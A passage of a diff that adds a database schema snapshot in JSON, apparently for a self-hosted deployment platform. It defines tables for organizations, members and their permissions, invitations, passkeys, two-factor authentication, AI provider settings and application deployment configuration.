+ "name": "last_request",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "expires_at": {
+ "name": "expires_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "permissions": {
+ "name": "permissions",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "metadata": {
+ "name": "metadata",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "apikey_reference_id_user_id_fk": {
+ "name": "apikey_reference_id_user_id_fk",
+ "tableFrom": "apikey",
+ "tableTo": "user",
+ "columnsFrom": [
+ "reference_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.invitation": {
+ "name": "invitation",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "organization_id": {
+ "name": "organization_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "email": {
+ "name": "email",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "role": {
+ "name": "role",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "status": {
+ "name": "status",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "expires_at": {
+ "name": "expires_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "inviter_id": {
+ "name": "inviter_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "team_id": {
+ "name": "team_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "invitation_organization_id_organization_id_fk": {
+ "name": "invitation_organization_id_organization_id_fk",
+ "tableFrom": "invitation",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organization_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "invitation_inviter_id_user_id_fk": {
+ "name": "invitation_inviter_id_user_id_fk",
+ "tableFrom": "invitation",
+ "tableTo": "user",
+ "columnsFrom": [
+ "inviter_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.member": {
+ "name": "member",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "organization_id": {
+ "name": "organization_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "role": {
+ "name": "role",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "team_id": {
+ "name": "team_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "is_default": {
+ "name": "is_default",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canCreateProjects": {
+ "name": "canCreateProjects",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canAccessToSSHKeys": {
+ "name": "canAccessToSSHKeys",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canCreateServices": {
+ "name": "canCreateServices",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canDeleteProjects": {
+ "name": "canDeleteProjects",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canDeleteServices": {
+ "name": "canDeleteServices",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canAccessToDocker": {
+ "name": "canAccessToDocker",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canAccessToAPI": {
+ "name": "canAccessToAPI",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canAccessToGitProviders": {
+ "name": "canAccessToGitProviders",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canAccessToTraefikFiles": {
+ "name": "canAccessToTraefikFiles",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canDeleteEnvironments": {
+ "name": "canDeleteEnvironments",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canCreateEnvironments": {
+ "name": "canCreateEnvironments",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "accesedProjects": {
+ "name": "accesedProjects",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "ARRAY[]::text[]"
+ },
+ "accessedEnvironments": {
+ "name": "accessedEnvironments",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "ARRAY[]::text[]"
+ },
+ "accesedServices": {
+ "name": "accesedServices",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "ARRAY[]::text[]"
+ },
+ "accessedGitProviders": {
+ "name": "accessedGitProviders",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "ARRAY[]::text[]"
+ },
+ "accessedServers": {
+ "name": "accessedServers",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "ARRAY[]::text[]"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "member_organization_id_organization_id_fk": {
+ "name": "member_organization_id_organization_id_fk",
+ "tableFrom": "member",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organization_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "member_user_id_user_id_fk": {
+ "name": "member_user_id_user_id_fk",
+ "tableFrom": "member",
+ "tableTo": "user",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.organization": {
+ "name": "organization",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "slug": {
+ "name": "slug",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "logo": {
+ "name": "logo",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "metadata": {
+ "name": "metadata",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "owner_id": {
+ "name": "owner_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "organization_owner_id_user_id_fk": {
+ "name": "organization_owner_id_user_id_fk",
+ "tableFrom": "organization",
+ "tableTo": "user",
+ "columnsFrom": [
+ "owner_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "organization_slug_unique": {
+ "name": "organization_slug_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "slug"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.organization_role": {
+ "name": "organization_role",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "organization_id": {
+ "name": "organization_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "role": {
+ "name": "role",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "permission": {
+ "name": "permission",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "organizationRole_organizationId_idx": {
+ "name": "organizationRole_organizationId_idx",
+ "columns": [
+ {
+ "expression": "organization_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "organizationRole_role_idx": {
+ "name": "organizationRole_role_idx",
+ "columns": [
+ {
+ "expression": "role",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "organization_role_organization_id_organization_id_fk": {
+ "name": "organization_role_organization_id_organization_id_fk",
+ "tableFrom": "organization_role",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organization_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.passkey": {
+ "name": "passkey",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "public_key": {
+ "name": "public_key",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "credential_id": {
+ "name": "credential_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "counter": {
+ "name": "counter",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "device_type": {
+ "name": "device_type",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "backed_up": {
+ "name": "backed_up",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "transports": {
+ "name": "transports",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "aaguid": {
+ "name": "aaguid",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "passkey_userId_idx": {
+ "name": "passkey_userId_idx",
+ "columns": [
+ {
+ "expression": "user_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "passkey_credentialID_idx": {
+ "name": "passkey_credentialID_idx",
+ "columns": [
+ {
+ "expression": "credential_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "passkey_user_id_user_id_fk": {
+ "name": "passkey_user_id_user_id_fk",
+ "tableFrom": "passkey",
+ "tableTo": "user",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.two_factor": {
+ "name": "two_factor",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "secret": {
+ "name": "secret",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "backup_codes": {
+ "name": "backup_codes",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "verified": {
+ "name": "verified",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "failed_verification_count": {
+ "name": "failed_verification_count",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "locked_until": {
+ "name": "locked_until",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "two_factor_user_id_user_id_fk": {
+ "name": "two_factor_user_id_user_id_fk",
+ "tableFrom": "two_factor",
+ "tableTo": "user",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.verification": {
+ "name": "verification",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "identifier": {
+ "name": "identifier",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "value": {
+ "name": "value",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "expires_at": {
+ "name": "expires_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.ai": {
+ "name": "ai",
+ "schema": "",
+ "columns": {
+ "aiId": {
+ "name": "aiId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "apiUrl": {
+ "name": "apiUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "apiKey": {
+ "name": "apiKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "model": {
+ "name": "model",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "isEnabled": {
+ "name": "isEnabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "organizationId": {
+ "name": "organizationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "ai_organizationId_organization_id_fk": {
+ "name": "ai_organizationId_organization_id_fk",
+ "tableFrom": "ai",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organizationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.application": {
+ "name": "application",
+ "schema": "",
+ "columns": {
+ "applicationId": {
+ "name": "applicationId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "env": {
+ "name": "env",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "previewEnv": {
+ "name": "previewEnv",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "watchPaths": {
+ "name": "watchPaths",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "previewBuildArgs": {
+ "name": "previewBuildArgs",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "previewBuildSecrets": {
+ "name": "previewBuildSecrets",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "previewLabels": {
+ "name": "previewLabels",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "previewWildcard": {
+ "name": "previewWildcard",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "previewPort": {
+ "name": "previewPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false,
+ "default": 3000
+ },
+ "previewHttps": {
+ "name": "previewHttps",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "previewPath": {
+ "name": "previewPath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'/'"
+ },
+ "certificateType": {
+ "name": "certificateType",
+ "type": "certificateType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'none'"
+ },
+ "previewCustomCertResolver": {
+ "name": "previewCustomCertResolver",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "previewLimit": {
+ "name": "previewLimit",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false,
+ "default": 3
+ },
+ "isPreviewDeploymentsActive": {
+ "name": "isPreviewDeploymentsActive",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false,
+ "default": false
+ },
+ "previewRequireCollaboratorPermissions": {
+ "name": "previewRequireCollaboratorPermissions",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false,
+ "default": true
+ },
+ "rollbackActive": {
+ "name": "rollbackActive",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false,
+ "default": false
+ },
+ "buildArgs": {
+ "name": "buildArgs",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "buildSecrets": {
+ "name": "buildSecrets",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryReservation": {
+ "name": "memoryReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryLimit": {
+ "name": "memoryLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuReservation": {
+ "name": "cpuReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuLimit": {
+ "name": "cpuLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "title": {
+ "name": "title",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "enabled": {
+ "name": "enabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "subtitle": {
+ "name": "subtitle",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "command": {
+ "name": "command",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "args": {
+ "name": "args",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "icon": {
+ "name": "icon",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "refreshToken": {
+ "name": "refreshToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "sourceType": {
+ "name": "sourceType",
+ "type": "sourceType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'github'"
+ },
+ "cleanCache": {
+ "name": "cleanCache",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false,
+ "default": false
+ },
+ "repository": {
+ "name": "repository",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "owner": {
+ "name": "owner",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "branch": {
+ "name": "branch",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "buildPath": {
+ "name": "buildPath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'/'"
+ },
+ "triggerType": {
+ "name": "triggerType",
+ "type": "triggerType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'push'"
+ },
+ "autoDeploy": {
+ "name": "autoDeploy",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitlabProjectId": {
+ "name": "gitlabProjectId",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitlabRepository": {
+ "name": "gitlabRepository",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitlabOwner": {
+ "name": "gitlabOwner",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitlabBranch": {
+ "name": "gitlabBranch",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitlabBuildPath": {
+ "name": "gitlabBuildPath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'/'"
+ },
+ "gitlabPathNamespace": {
+ "name": "gitlabPathNamespace",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "giteaRepository": {
+ "name": "giteaRepository",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "giteaOwner": {
+ "name": "giteaOwner",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "giteaBranch": {
+ "name": "giteaBranch",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "giteaBuildPath": {
+ "name": "giteaBuildPath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'/'"
+ },
+ "bitbucketRepository": {
+ "name": "bitbucketRepository",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bitbucketRepositorySlug": {
+ "name": "bitbucketRepositorySlug",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bitbucketOwner": {
+ "name": "bitbucketOwner",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bitbucketBranch": {
+ "name": "bitbucketBranch",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bitbucketBuildPath": {
+ "name": "bitbucketBuildPath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'/'"
+ },
+ "username": {
+ "name": "username",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "password": {
+ "name": "password",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "dockerImage": {
+ "name": "dockerImage",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "registryUrl": {
+ "name": "registryUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "customGitUrl": {
+ "name": "customGitUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "customGitBranch": {
+ "name": "customGitBranch",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "customGitBuildPath": {
+ "name": "customGitBuildPath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "customGitSSHKeyId": {
+ "name": "customGitSSHKeyId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "enableSubmodules": {
+ "name": "enableSubmodules",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "dockerfile": {
+ "name": "dockerfile",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'Dockerfile'"
+ },
+ "dockerContextPath": {
+ "name": "dockerContextPath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "dockerBuildStage": {
+ "name": "dockerBuildStage",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "dropBuildPath": {
+ "name": "dropBuildPath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "healthCheckSwarm": {
+ "name": "healthCheckSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "restartPolicySwarm": {
+ "name": "restartPolicySwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "placementSwarm": {
+ "name": "placementSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "updateConfigSwarm": {
+ "name": "updateConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rollbackConfigSwarm": {
+ "name": "rollbackConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "modeSwarm": {
+ "name": "modeSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "labelsSwarm": {
+ "name": "labelsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "networkSwarm": {
+ "name": "networkSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "stopGracePeriodSwarm": {
+ "name": "stopGracePeriodSwarm",
+ "type": "bigint",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "endpointSpecSwarm": {
+ "name": "endpointSpecSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ulimitsSwarm": {
+ "name": "ulimitsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "replicas": {
+ "name": "replicas",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
+ "applicationStatus": {
+ "name": "applicationStatus",
+ "type": "applicationStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'idle'"
+ },
+ "buildType": {
+ "name": "buildType",
+ "type": "buildType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'nixpacks'"
+ },
+ "railpackVersion": {
+ "name": "railpackVersion",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'0.15.4'"
+ },
+ "herokuVersion": {
+ "name": "herokuVersion",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'24'"
+ },
+ "publishDirectory": {
+ "name": "publishDirectory",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "isStaticSpa": {
+ "name": "isStaticSpa",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createEnvFile": {
+ "name": "createEnvFile",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "registryId": {
+ "name": "registryId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rollbackRegistryId": {
+ "name": "rollbackRegistryId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "environmentId": {
+ "name": "environmentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "githubId": {
+ "name": "githubId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitlabId": {
+ "name": "gitlabId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "giteaId": {
+ "name": "giteaId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bitbucketId": {
+ "name": "bitbucketId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "buildServerId": {
+ "name": "buildServerId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "buildRegistryId": {
+ "name": "buildRegistryId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "networkIds": {
+ "name": "networkIds",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'{}'"
+ },
+ "detachDokployNetwork": {
+ "name": "detachDokployNetwork",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "application_customGitSSHKeyId_ssh-key_sshKeyId_fk": {
+ "name": "application_customGitSSHKeyId_ssh-key_sshKeyId_fk",
+ "tableFrom": "application",
+ "tableTo": "ssh-key",
+ "columnsFrom": [
+ "customGitSSHKeyId"
+ ],
+ "columnsTo": [
+ "sshKeyId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
